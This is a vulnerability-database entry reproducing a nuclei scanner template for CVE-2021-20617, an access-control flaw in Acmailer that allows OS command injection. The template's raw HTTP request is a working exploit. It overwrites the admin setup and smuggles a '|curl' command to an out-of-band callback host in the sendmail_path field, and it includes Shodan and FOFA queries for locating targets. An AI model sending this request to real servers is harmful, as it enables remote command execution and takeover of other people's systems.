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Acmailer - Improper Access Control to OS Command Injection

🗓️ 30 Jul 2026 07:03:02Reported by ProjectDiscoveryType 
nuclei
 nuclei
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Improper access control in Acmailer enables remote OS command execution and privilege escalation.

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id: CVE-2021-20617

info:
  name: Acmailer - Improper Access Control to OS Command Injection
  author: daffainfo
  severity: critical
  description: |
    Improper access control vulnerability in acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier allows remote attackers to execute an arbitrary OS command, or gain an administrative privilege which may result in obtaining the sensitive information on the server via unspecified vectors.
  impact: |
    Attackers can execute arbitrary OS commands or escalate privileges, potentially leading to full system compromise and sensitive data exposure.
  remediation: |
    Update to the latest version of acmailer and acmailer DB to address the issue.
  reference:
    - https://starlabs.sg/blog/2023/02-dissecting-the-vulnerabilities-a-comprehensive-teardown-of-acmailer/
    - https://www.acmailer.jp/info/de.cgi?id=101
    - https://jvn.jp/en/jp/JVN35906450/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20617
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20617
    epss-score: 0.07871
    epss-percentile: 0.94089
    cwe-id: NVD-CWE-Other
    cpe: cpe:2.3:a:acmailer:acmailer:*:*:*:*:*:*:*:*,cpe:2.3:a:acmailer:acmailer_db:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: acmailer
    product: acmailer,acmailer_db
    shodan-query: title="ACMAILER4.0"
    fofa-query: title="ACMAILER4.0"
  tags: cve,cve2021,acmailer,rce,vkev,oast,oob

variables:
  admin_name: "{{randbase(5)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /init_ctl.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        admin_name={{admin_name}}&admin_email={{email}}&login_id=loginid&login_pass=loginpw&sendmail_path=|curl http://{{interactsh-url}}&homeurl=http%3A%2F%2Fexample.com&mypath=env%2F

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_request, 'User-Agent: curl')"
          - "contains(interactsh_protocol, 'http')"
          - contains(body, "<a href=\"index.cgi\">")
          - 'status_code == 302'
        condition: and
# digest: 4a0a0047304502202e1f370f700ab2ce4dcda277826b3e475a6a23095521bf098bd8507ecfc3530c022100b1e21d4ac1d7bc0a93c36c0514a9c1e27c88c3205288c5411a56e2e1915cf863:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
CVSS 210
EPSS0.07871
60